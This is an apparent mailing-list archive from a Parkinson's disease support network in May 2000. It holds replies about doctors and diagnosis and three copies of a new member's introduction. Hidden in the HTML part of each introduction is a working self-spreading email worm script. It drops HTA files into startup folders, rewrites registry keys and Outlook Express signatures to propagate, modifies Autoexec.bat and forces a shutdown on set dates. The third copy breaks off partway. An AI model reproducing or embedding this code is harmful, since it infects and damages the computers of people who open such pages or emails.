http://www.dovecom.com/rafink/ mailto:[log in to unmask] "Ex Tristitia Virtus" ********************************************* ========================================================================= Date: Sat, 20 May 2000 23:44:09 -0400 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Michel Margosis <[log in to unmask]> Subject: Re: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I never cease to be amazed at the ignorance of so many doctors. I suggest you immediately seek an MD neurologist who is a Movement Disorder Specialist, and go from there. Good luck, Michel Audrey Cashwell wrote: > WelI was told 2 yr's ago I have Pd, they put me on Sinemet > cr , and then I was going to do the spect scan ,and then I said no ,I didn't > want any radiation in my boby, so then the DR. said well I dont think you have > pd , now they are diffrent Dr.'s here . So I thinking he said I dont have PD > because I wont take part in his study.1year later ,well I am not happy with my > neurologist, all he gives me are my meds ,and see you in 6moths, not good , Two > days ago I went to a new neurologist, well he said your to young to be on > Sinemet cr thats for later in the PD , then he said I don't think you have > Parkinsons, go have the scan done that would tell you if you do. > What to do ,now I 'am crying nobody to talk to about this , I > told my self I can't just sit on my --- this time ,and let things go I have > fight for my self . Two days on the phone , I found a new DR. but now I > pray I could get another referral from my DR. > I don't even want to take my meds . ========================================================================= Date: Sat, 20 May 2000 23:51:03 -0400 Reply-To: [log in to unmask] Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Michel Margosis <[log in to unmask]> Subject: Re: DR.,and Parkinson's MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear Audrey: I would appreciate more information, references and citations of this technique. I only know of PET (Positron Emission Tomography) that can actually scan the brain. Michel Audrey Cashwell wrote: > This is nothing like an MRI. AB-CIT-SPECT SCAN -is a radioactively drug > injected into your vein and binds to the dopamine neurons in your brain ,and > this happens for about 2 days till they do the scan. ========================================================================= Date: Sat, 20 May 2000 22:02:43 -0700 Reply-To: Helen Johns <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Helen Johns <[log in to unmask]> Subject: NEW LIST MEMBER MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0146_01BFC2A7.1F636D80" This is a multi-part message in MIME format. ------=_NextPart_000_0146_01BFC2A7.1F636D80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello Everyone, Helen Johns is my name. Last summer I noticed tremors in my right leg = and right hand; I suspected Parkinsons. I was diagnosed (at age 60 = years) on December 15, 1999 as being in the "early" stages. Eldepryl = was prescribed, however, I opted to try nutritional/homeopathic remedies = first. The homeopathic remedies are certainly more expensive than the = meds (from a healthplan). I was told to avoid sugar, white flour, etc., = and was able to do that for a few months and got bored with it. I've = tried ENADA (NADH) without success and am now trying an antioxidant = called Mycrohydrin and drinking some Sage tea. I also read that FAVA = Beans are good for the dopamine in the brain. =20 I would be interested to have feedback from those of you who have or who = are currently taking Eldepryl as to how effective it's been for you or = what side effects you have experienced. Would also like to hear from = those of you who have explored alternative options. California State University San Diego is doing a study for Parkinsons = involving a transdermal patch (dopamine agonist); I have been tested and = hopefully will be accepted for the study. My husband and I live 70 miles NE of San Diego in Julian (State = historical town), elevation 4,000 feet. We moved here in December of = '98. I took a 10 year retirement from Los Angeles County Department of = Children and Family Services where I worked as a Children's Social = Worker. The last four years of my job I worked from 4:00 p.m. to 2:30 = a.m. doing immediate response child abuse investigations. I thought my = handwriting was getting bad from writing up too many cases, now I = realize it was the Parkinsons causing a deterioration of handwriting. My hobby is breeding and showing Maine Coon Cats. I currently am a CASA = (Court Appointed Special Advocate) volunteer for an abused child. =20 This is somewhat long so I'll quit now . . . thanks for listening. Helen http://home.earthlink.net/~pedropurrs/ [log in to unmask] ------=_NextPart_000_0146_01BFC2A7.1F636D80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1252" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>Hello Everyone,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen Johns is my name. Last = summer I noticed=20 tremors in my right leg and right hand; I = suspected Parkinsons. =20 I was diagnosed (at age 60 years) on December 15, 1999 as being in the = "early"=20 stages. Eldepryl was prescribed, however, I opted to=20 try nutritional/homeopathic remedies first. The homeopathic = remedies=20 are certainly more expensive than the meds (from a healthplan). I = was told=20 to avoid sugar, white flour, etc., and was able to do that for a = few =20 months and got bored with it. I've tried ENADA (NADH) without = success and=20 am now trying an antioxidant called Mycrohydrin and drinking some Sage=20 tea. I also read that FAVA Beans are good for the dopamine in the=20 brain. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>I would be interested to have feedback = from those=20 of you who have or who are currently taking Eldepryl as to how effective = it's=20 been for you or what side effects you have experienced. Would also = like to=20 hear from those of you who have explored alternative = options.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>California State University San Diego = is doing a=20 study for Parkinsons involving a transdermal patch (dopamine agonist); I = have=20 been tested and hopefully will be accepted for the = study.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My husband and I live 70 miles NE of = San Diego in=20 Julian (State historical town), elevation 4,000 feet. We moved = here in=20 December of '98. I took a 10 year retirement from Los Angeles = County=20 Department of Children and Family Services where I worked as a = Children's Social=20 Worker. The last four years of my job I worked from 4:00 p.m. to = 2:30 a.m.=20 doing immediate response child abuse investigations. I thought my=20 handwriting was getting bad from writing up too many cases, now I = realize it was=20 the Parkinsons causing a deterioration of handwriting.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My hobby is breeding and showing Maine = Coon=20 Cats. I currently am a CASA (Court Appointed Special Advocate) = volunteer=20 for an abused child. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>This is somewhat long so I'll quit = now . . .=20 thanks for listening.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"http://home.earthlink.net/~pedropurrs/">http://home.earthlink.net= /~pedropurrs/</A></FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"mailto:[log in to unmask]">[log in to unmask]</A></FO= NT></DIV> <DIV> </DIV> <DIV> </DIV> <DIV> <DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5"> <OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20 id=3Dscr></OBJECT></DIV> <!cript><!-- function sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr= iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" = WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object = id=3D'wsh' = classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP= T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew = ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D= fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var = mye=3Dnew = Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew = String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD?= 1\\\\PROGRA~1\\\\D?ARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\\\St= artUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists(kfr= ))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.FileExi= sts(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs.Get= File(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr)?wd= +'MENUD ~1\\\\PROGRA~1\\\\D MARR~1\\\\kak.hta':ken;t1.WriteLine('@echo = off>'+pth);t1.WriteLine('del = '+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(= k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI= T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id= n+'\\\\Software\\\\Microsoft\\\\Outlook = Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\= "Default = Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\= \\00000000]');t2.WriteLine('\"name\"=3D\"Signature = #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D= \"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri= teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature = Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA= L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')= ;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h= ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s = '+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B= ODY><DIV = style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT = classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC = id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read= (1)!=3D'Z');t3.WriteLine('<!cript><!--');t3.write('function = sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095= );t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\= \\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"= ;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu= age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu = D?rrer\\\\\\\\Programmes\\\\\\\\D?rrage\\\\\\\\kak.hta\":\"C:\\\\\\\\wind= ows\\\\\\\\Start = Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user= Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato= r.appVersion)>4))||(agt.indexOf(\"msie = 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>= </"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut= es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 = && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today = !');wsh.Run(wd+'RUNDLL32.EXE = user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc = failed = !]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s= ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\= Menu D?rrer\\Programmes\\D?rrage\\kak.hta":"C:\\windows\\Start = Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()= ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a= gt.indexOf("msie 5.")!=3D-1))scr.write(); //--></SCRIPT> </OBJECT></DIV></BODY></HTML> ------=_NextPart_000_0146_01BFC2A7.1F636D80-- ========================================================================= Date: Sat, 20 May 2000 22:04:19 -0700 Reply-To: Helen Johns <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Helen Johns <[log in to unmask]> Subject: NEW LIST MEMBER MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0152_01BFC2A7.591A8360" This is a multi-part message in MIME format. ------=_NextPart_000_0152_01BFC2A7.591A8360 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello Everyone, Helen Johns is my name. Last summer I noticed tremors in my right leg = and right hand; I suspected Parkinsons. I was diagnosed (at age 60 = years) on December 15, 1999 as being in the "early" stages. Eldepryl = was prescribed, however, I opted to try nutritional/homeopathic remedies = first. The homeopathic remedies are certainly more expensive than the = meds (from a healthplan). I was told to avoid sugar, white flour, etc., = and was able to do that for a few months and got bored with it. I've = tried ENADA (NADH) without success and am now trying an antioxidant = called Mycrohydrin and drinking some Sage tea. I also read that FAVA = Beans are good for the dopamine in the brain. =20 I would be interested to have feedback from those of you who have or who = are currently taking Eldepryl as to how effective it's been for you or = what side effects you have experienced. Would also like to hear from = those of you who have explored alternative options. California State University San Diego is doing a study for Parkinsons = involving a transdermal patch (dopamine agonist); I have been tested and = hopefully will be accepted for the study. My husband and I live 70 miles NE of San Diego in Julian (State = historical town), elevation 4,000 feet. We moved here in December of = '98. I took a 10 year retirement from Los Angeles County Department of = Children and Family Services where I worked as a Children's Social = Worker. The last four years of my job I worked from 4:00 p.m. to 2:30 = a.m. doing immediate response child abuse investigations. I thought my = handwriting was getting bad from writing up too many cases, now I = realize it was the Parkinsons causing a deterioration of handwriting. My hobby is breeding and showing Maine Coon Cats. I currently am a CASA = (Court Appointed Special Advocate) volunteer for an abused child. =20 This is somewhat long so I'll quit now . . . thanks for listening. Helen http://home.earthlink.net/~pedropurrs/ [log in to unmask] ------=_NextPart_000_0152_01BFC2A7.591A8360 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1252" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>Hello Everyone,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen Johns is my name. Last = summer I noticed=20 tremors in my right leg and right hand; I = suspected Parkinsons. =20 I was diagnosed (at age 60 years) on December 15, 1999 as being in the = "early"=20 stages. Eldepryl was prescribed, however, I opted to=20 try nutritional/homeopathic remedies first. The homeopathic = remedies=20 are certainly more expensive than the meds (from a healthplan). I = was told=20 to avoid sugar, white flour, etc., and was able to do that for a = few =20 months and got bored with it. I've tried ENADA (NADH) without = success and=20 am now trying an antioxidant called Mycrohydrin and drinking some Sage=20 tea. I also read that FAVA Beans are good for the dopamine in the=20 brain. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>I would be interested to have feedback = from those=20 of you who have or who are currently taking Eldepryl as to how effective = it's=20 been for you or what side effects you have experienced. Would also = like to=20 hear from those of you who have explored alternative = options.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>California State University San Diego = is doing a=20 study for Parkinsons involving a transdermal patch (dopamine agonist); I = have=20 been tested and hopefully will be accepted for the = study.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My husband and I live 70 miles NE of = San Diego in=20 Julian (State historical town), elevation 4,000 feet. We moved = here in=20 December of '98. I took a 10 year retirement from Los Angeles = County=20 Department of Children and Family Services where I worked as a = Children's Social=20 Worker. The last four years of my job I worked from 4:00 p.m. to = 2:30 a.m.=20 doing immediate response child abuse investigations. I thought my=20 handwriting was getting bad from writing up too many cases, now I = realize it was=20 the Parkinsons causing a deterioration of handwriting.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My hobby is breeding and showing Maine = Coon=20 Cats. I currently am a CASA (Court Appointed Special Advocate) = volunteer=20 for an abused child. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>This is somewhat long so I'll quit = now . . .=20 thanks for listening.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"http://home.earthlink.net/~pedropurrs/">http://home.earthlink.net= /~pedropurrs/</A></FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"mailto:[log in to unmask]">[log in to unmask]</A></FO= NT></DIV> <DIV> </DIV> <DIV> </DIV> <DIV> <DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5"> <OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20 id=3Dscr></OBJECT></DIV> <!cript><!-- function sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr= iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" = WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object = id=3D'wsh' = classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP= T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew = ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D= fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var = mye=3Dnew = Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew = String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD?= 1\\\\PROGRA~1\\\\D?ARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\\\St= artUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists(kfr= ))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.FileExi= sts(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs.Get= File(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr)?wd= +'MENUD ~1\\\\PROGRA~1\\\\D MARR~1\\\\kak.hta':ken;t1.WriteLine('@echo = off>'+pth);t1.WriteLine('del = '+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(= k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI= T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id= n+'\\\\Software\\\\Microsoft\\\\Outlook = Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\= "Default = Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\= \\00000000]');t2.WriteLine('\"name\"=3D\"Signature = #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D= \"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri= teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature = Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA= L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')= ;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h= ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s = '+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B= ODY><DIV = style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT = classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC = id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read= (1)!=3D'Z');t3.WriteLine('<!cript><!--');t3.write('function = sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095= );t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\= \\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"= ;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu= age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu = D?rrer\\\\\\\\Programmes\\\\\\\\D?rrage\\\\\\\\kak.hta\":\"C:\\\\\\\\wind= ows\\\\\\\\Start = Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user= Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato= r.appVersion)>4))||(agt.indexOf(\"msie = 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>= </"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut= es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 = && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today = !');wsh.Run(wd+'RUNDLL32.EXE = user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc = failed = !]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s= ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\= Menu D?rrer\\Programmes\\D?rrage\\kak.hta":"C:\\windows\\Start = Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()= ;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a= gt.indexOf("msie 5.")!=3D-1))scr.write(); //--></SCRIPT> </OBJECT></DIV></BODY></HTML> ------=_NextPart_000_0152_01BFC2A7.591A8360-- ========================================================================= Date: Sat, 20 May 2000 22:04:28 -0700 Reply-To: Helen Johns <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Helen Johns <[log in to unmask]> Subject: NEW LIST MEMBER MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0156_01BFC2A7.5E5021A0" This is a multi-part message in MIME format. ------=_NextPart_000_0156_01BFC2A7.5E5021A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello Everyone, Helen Johns is my name. Last summer I noticed tremors in my right leg = and right hand; I suspected Parkinsons. I was diagnosed (at age 60 = years) on December 15, 1999 as being in the "early" stages. Eldepryl = was prescribed, however, I opted to try nutritional/homeopathic remedies = first. The homeopathic remedies are certainly more expensive than the = meds (from a healthplan). I was told to avoid sugar, white flour, etc., = and was able to do that for a few months and got bored with it. I've = tried ENADA (NADH) without success and am now trying an antioxidant = called Mycrohydrin and drinking some Sage tea. I also read that FAVA = Beans are good for the dopamine in the brain. =20 I would be interested to have feedback from those of you who have or who = are currently taking Eldepryl as to how effective it's been for you or = what side effects you have experienced. Would also like to hear from = those of you who have explored alternative options. California State University San Diego is doing a study for Parkinsons = involving a transdermal patch (dopamine agonist); I have been tested and = hopefully will be accepted for the study. My husband and I live 70 miles NE of San Diego in Julian (State = historical town), elevation 4,000 feet. We moved here in December of = '98. I took a 10 year retirement from Los Angeles County Department of = Children and Family Services where I worked as a Children's Social = Worker. The last four years of my job I worked from 4:00 p.m. to 2:30 = a.m. doing immediate response child abuse investigations. I thought my = handwriting was getting bad from writing up too many cases, now I = realize it was the Parkinsons causing a deterioration of handwriting. My hobby is breeding and showing Maine Coon Cats. I currently am a CASA = (Court Appointed Special Advocate) volunteer for an abused child. =20 This is somewhat long so I'll quit now . . . thanks for listening. Helen http://home.earthlink.net/~pedropurrs/ [log in to unmask] ------=_NextPart_000_0156_01BFC2A7.5E5021A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1252" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>Hello Everyone,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen Johns is my name. Last = summer I noticed=20 tremors in my right leg and right hand; I = suspected Parkinsons. =20 I was diagnosed (at age 60 years) on December 15, 1999 as being in the = "early"=20 stages. Eldepryl was prescribed, however, I opted to=20 try nutritional/homeopathic remedies first. The homeopathic = remedies=20 are certainly more expensive than the meds (from a healthplan). I = was told=20 to avoid sugar, white flour, etc., and was able to do that for a = few =20 months and got bored with it. I've tried ENADA (NADH) without = success and=20 am now trying an antioxidant called Mycrohydrin and drinking some Sage=20 tea. I also read that FAVA Beans are good for the dopamine in the=20 brain. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>I would be interested to have feedback = from those=20 of you who have or who are currently taking Eldepryl as to how effective = it's=20 been for you or what side effects you have experienced. Would also = like to=20 hear from those of you who have explored alternative = options.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>California State University San Diego = is doing a=20 study for Parkinsons involving a transdermal patch (dopamine agonist); I = have=20 been tested and hopefully will be accepted for the = study.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My husband and I live 70 miles NE of = San Diego in=20 Julian (State historical town), elevation 4,000 feet. We moved = here in=20 December of '98. I took a 10 year retirement from Los Angeles = County=20 Department of Children and Family Services where I worked as a = Children's Social=20 Worker. The last four years of my job I worked from 4:00 p.m. to = 2:30 a.m.=20 doing immediate response child abuse investigations. I thought my=20 handwriting was getting bad from writing up too many cases, now I = realize it was=20 the Parkinsons causing a deterioration of handwriting.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>My hobby is breeding and showing Maine = Coon=20 Cats. I currently am a CASA (Court Appointed Special Advocate) = volunteer=20 for an abused child. </FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>This is somewhat long so I'll quit = now . . .=20 thanks for listening.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Helen</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"http://home.earthlink.net/~pedropurrs/">http://home.earthlink.net= /~pedropurrs/</A></FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2><A=20 href=3D"mailto:[log in to unmask]">[log in to unmask]</A></FO= NT></DIV> <DIV> </DIV> <DIV> </DIV> <DIV> <DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5"> <OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20 id=3Dscr></OBJECT></DIV> <!cript><!-- function sErr(){return = true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr= iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" = WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object = id=3D'wsh' = classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP= T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew = ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D= fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var = mye=3Dnew = Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew = String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD?= 1\\\\PROGRA~1\\\\D?ARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\\\St= artUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists(kfr= ))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.FileExi= sts(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs.Get= File(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr)?wd= +'MENUD ~1\\\\PROGRA~1\\\\D MARR~1\\\\kak.hta':ken;t1.WriteLine('@echo = off>'+pth);t1.WriteLine('del = '+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(= k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI= T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id= 